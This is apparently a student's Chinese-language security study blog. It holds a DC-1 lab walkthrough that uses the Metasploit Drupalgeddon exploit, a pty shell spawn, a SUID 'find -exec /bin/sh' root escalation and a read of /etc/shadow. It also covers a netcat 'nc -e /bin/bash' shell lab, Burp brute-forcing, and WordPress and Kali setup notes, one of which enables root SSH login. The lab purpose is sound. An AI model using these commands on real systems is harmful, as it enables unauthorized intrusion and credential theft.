回忆DC-1

信息搜集阶段,知道靶机ip地址,进行一手主机的发现,用nmap扫开放的端口

【不要拿扫描器扫公网的任何资产(非授权)】

扫出来22和80端口之后知道对应开放了ssh和http服务
如果思路是对22端口进行攻击,由于不知道用户名等信息,爆破有点繁琐,那就来经典web网页测试看看。
使用Wappalyzer插件发现,以及nmap中扫出来的信息提示,该网站的建站系统为Drupal 7,到网上找关于它的漏洞信息。注意到现在的版本已经到11了所以7应该是有挺多漏洞的。

使用一款新的工具metasploit
尝试在metasploit里查找有没有相关的利用脚本
search drupal 7

使用命令来使用该模块
use exploit/unix/webapp/drupal_drupalgeddon

对于Required为yes的项都需要设置才能使用

所以设置Rhost为靶机ip地址,命令如下:
set RHOSTS 192.168.xx.xx

使用命令启动:
exploit

可以看到已经攻击成功,已经建立了一个meterpreter会话,可以理解为建立了一个反弹shell

输入 shell 命令 再随便输入点命令如 pwd 等,由于不是交互式的shell,很不方便,不妨唤出交互式的,如用python -v看看有无安装python,有的话输入命令:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
——————————————————————————————————————-
拿到了shell,接着就是要找一些敏感文件,靶场设置了一些flag帮助解题,通过ls命令查看当前目录文件可以发现有flag1,用 cat 命令查看,它提示每个 cms 都需要一个config file,直接去网上搜drupal的文件结构 发现3.6 sites文件夹中有一个配置文件setting.php,查看他发现有数据库的一些配置,也就是说到了对数据库进行操作的阶段。使用他给的数据登录mysql
mysql -udbuser -pR0ck3t

有mysql的数据

按照注入的思路一步步看库看表看字段看值。。。
看到有一张表时user一般大概率能用
select * from users \G; 查看表里的信息
发现有admin的信息,但是密码被加密了,试试看解决这个问题,要么用我们自己的密码用同一种方式加密替换他,要么试试还原密码,或者其他操作。
去google一下drupal的用户密码是如何加密的

网上找到的文章,可见是md5加密之后加盐再加密的模式

仔细思考,发现加密的过程使用脚本,我们可以利用脚本把我们的密码也同样加密,之后替换admin的密码。
php scripts/password-hash.sh 123 >password.txt
利用脚本把我们密码为 123 进行加密之后放在password.txt
cat 查看加密的密文,准备用它来覆盖admin的密码,之后就可以登录了


接下来是提权环节

在网页看到flag,flag提示它想让我们去读取/etc/passwd,但事实上这个文件需要root权限才能读取,而我们只是一般的普通用户权限,故此处考虑提权。
据flag3中提到的关键词 perms find passwd -exec 考虑使用具有suid的命令来提权

对于拥有suid的命令来说,它最显而易见的特点是,使用该命令时,执行命令的权限为文件拥有者的权限,而不是使用命令者的权限。
find / -perm -4000 该命令查找符合要求的命令

find符合

发现find拥有这样的特点 而find中的参数-exec 可以执行其后跟随的命令
find password.txt -exec ‘/bin/sh’ \;

得到了root权限

cat /etc/passwd
cat /etc/shawdow

都看看里面有没有有用的信息
【网上查询文章,shawdow也叫影子文件存储用户密码信息,该文件只有root用户拥有读权限】
看到shawdow下有flag,是加密的,可以爆破,比如用hydra工具。
因为已经是root,直接找到文件cat一下就行。
本关到此结束

xshell连接kali

Kali 默认关闭了22端口,因此要连接xshell需要手动开启22端口

Su – 命令切换root权限

  1. 修改/etc/ssh/sshd_config配置文件

用vim编辑器打开上述命令,按i进入插入模式,对文档进行编辑。

2.找到#PasswordAuthentication yes  把#的注释去掉

好好找,有的。

3.将PermitRootLogin without-password修改为:

PermitRootLogin yes

好好找,也有的

4.然后启动ssh服务,这时候先不要链接,因为链接不上,

命令是:/etc/init.d/ssh start

5.然后设置开机自动启动

命令是:update-rc.d ssh enable

6.rebbot重启

Xshell

打开xshell新建会话

用password登录

账号为root

密码为root账号密码

如图为连接成功哦

根据nmap进行了扫描,我不明白当我不使用开关机确认目标主机的ip地址时,怎么才能正确的发现目标主机。

phpstudy使用

因为sqllab用报错函数没用,想试试本地命令行运行mysql,为了便捷,用phpstudy尚的phpmyadmin来搞,遇到了问题
打不开网页,换php版本5.5以上
不能连接服务器,解决中


首先mysql版本问题可能是原因,所以有必要更换版本。然后是端口占用,改成3306解决了,因为本来我就装有mysql,然后我把我的卸载了,再打开就可以连接数据库登录phpmyadmin了。


对于宝塔登录,因为设有安全入口,所以要在网址后跟安全入口地址。

我的wordpress是怎么整残的

当更改设置里的url地址,最好不要瞎改妈的wordpress给我干没了

这个时候我们的数据库发生了变化,验证的时候就会不符合,捏麻

所以我们在xshell连接数据库后要更改一些内容
找到wordpress的数据库,找到wp_options 表,然后
select * from wp_options limit 1;
然后再


UPDATE wp_options SET option_value=”http://xxxx WHERE option_name=”siteurl”;


第一次搭网站的时候,按照腾讯云的操作文档,一步一步安装lnmp,然后配置文件,先是遇到403,后来修改配置文件中的账号密码能成功注册wordpress。

然后我很开心的写出第一篇文章,但是发现文章并不能插入图片,或者更新的时候说我没有权限,所以我到网上找,可能是:

1、权限问题,在命令行安装wordpress的时候有些目录是root权限,所以当我们要执行一些修改性质的操作就会提示我们没有权限,方法就是修改所属的组,比如把权限给到更高,或者把组从root变成www。在我使用宝塔的时候就自动吧组变成www了所以可以正常操作。

2、需要ftp,按照文档操作的时候我也许没有安装ftp,但是我按照csdn上的文章继续解决问题的时候,比如安装vsftpd这款ftp,修改配置(比如不支持ipv6我就把监听设置成no)发现根本没法启动。

那用宝塔自然没有这些问题了。自己搭建还是很好玩的,前提是能解决问题。

碰到自动更新需要ftp时,可以再wordpress-conf配置里面添加三行指令跳过ftp验证。

碰到不小心修改了url的时候就修改数据库(见其他文章)

碰到…暂时碰不到了hhhh

另外我还没弄懂为什么我kill不了80端口的占用程序,所以把wordpress放在其他端口,当每次修改conf文件的时候我发现就多了它用的端口了,以前的却没消失。

复现反弹powershell

不要搞放在公网上的一切资产!

实验工具:kali两台(一台正向一台反向)、netcat(kali自带)
实验平台:vmware15.5
实验目的:理解powershell的目的,通过netcat来实现反弹,从而深入理解相关漏洞的危害

实验步骤:
1、启动两台kali,让彼此能ping通
使用 ifconfig 查看各自的ip地址
Debian作为攻击机 ip地址为192.168.245.134
kali2020作为被攻击机 IP地址为192.168.245.130
因为两台机子都用nat(网络地址转换)模式,所以可以ping通,主要模拟对公网设备实施操作。

2、正向反弹:
在Debian上 nc -lvvp 7777 -e /bin/bash
在kali上 nc 192.168.245.134 7777
结果就是可以在kali上拿到Debian的shell比如执行ls可以看到debian的目录

实验总结:本次实验简单试了一下netcat关于powershell反弹,简单的两句命令就能拿下服务器,可见如果不做好网络防护是多么危险的事情。netcat功能很多,可以通过很多种方式反弹,也不局限某个系统,不管windows、linux、macos都能利用。
注意到这次试验成功的前提是两台机子都有nc工具,才实现效果。那么如何利用,就要从网站的一些功能点下手,通常找到一些上传、下载的点,或者一些特殊的网站能直接运行命令(例如在线靶场),当我们取得某一权限(用户或者更高等级)之后上传工具或者脚本、木马等到后台,就可以进行下一步动作,可以用蚁剑连接,可以通过脚本运行本次实验的指令,让我们再攻击机就能控制目标主机权限。

尝试解决wordpress的问题

useradd nginx -s /sbin/nologin -M 添加用户,把wordpress丢到这个用户组点不要老是问我要root权限。让我康康成功没

没有成功,差点给我改没了。。。还好平时注意截图。

参考了csdn上两篇博客:

【WordPress免FTP登陆】 我复制了三句话,还没改回来。

【解决wordpress无法安装主题插件、不能上传图片、不能自动更新等问题】 我创建了nginx3 新用户,其他不敢动了。 或者是我动的太多,改天一定要把这个问题解决,没有图片怎么行,不行


没办法整惨了,用宝塔,以后有机会自己搭建的时候再看看怎么搞

一些有用的博客,网站

1、forum.ywhack.com[棱角]:包含在线工具,安全字典等,好用

2、ip138.com 用来查询ip等信息的网站

3.www.cnseay.com :seay网络安全博客

4.www.oday5.com :漏洞时代

pikacu测试bp

因为经常需要用到burp,所以设置一下代理,多用一下火狐,火狐因为是开源的,插件最多了。

那先用爆破来试试看bp能不能正确使用,火狐设置好代理,bp也配置成功之后,开始抓包。

由于之前用的bp我可能没配置好,我重新到官网下了。注意到重新安装不要忘记安装ca证书。下载好证书之后,应该在火狐设置里搜索证书,然后在证书颁发机构导入刚才下载好的证书。

很尴尬,没有FTP,传不上图,不知道为什么我配置本地和bp还是抓不了本地包,导入证书之后啥都能抓了就抓不到本地???

还是用bp21版本自带的浏览器,解决问题。

拿第一题来说,抓到包后,右键把包发送给intruder之后,用字典模式,首先在intruder里清除变量,再重新把username,passwd设置成变量,再跑字典,字典可以自己写,也可以找别的。然后观察响应速度,如果有明显和别人不同的,那可能就是爆破出来的密码了。

捏🐎,传不上图,因为更新或者啥的都有的问题是ftp配置的问题我猜。首先wordpress要更新需要ftp,之前没搞好,先按照网上说的在配置文件加东西。加好之后发现还有权限的问题,看了好多方法我要不是找不到他们说的那些路径,要么就是方法太蠢,直接给权限777这不挨搞谁挨搞。

捏麻我按照文档下vsftpd,按照配置一步一步来,就是踏马启动不了,给我报错,我就找文章我改,我改配置,什么ipv6的listen要改为no啊,注释掉什么什么啊都搞了,就是不给我启动,今日份不服气,不浪费时间了,改日再搞!

原本今天想搞sql的,先不搞,博客传不上东西这么丑,我不服气!


emmmmm用宝塔就没有这些问题了,不过自己搭建遇到问题并且解决问题的意义还是有的

搭一下pikachu

先在百度下载phpstudy

然后github下载pikachu

把pikachu解压到phpstudy的www目录下,然后找到配置文件进行一波配置。在‘这里改成root’,然后重启apache,php 因为本机我自己装有mysql,所以3306被占用,因此应该修改phpstudy的端口为3308.


不过好像直接关掉3306端口进程也可以。在inc目录文件修改的数据库帐号,密码,数据库名应该和phpstudy数据库配置保持一样。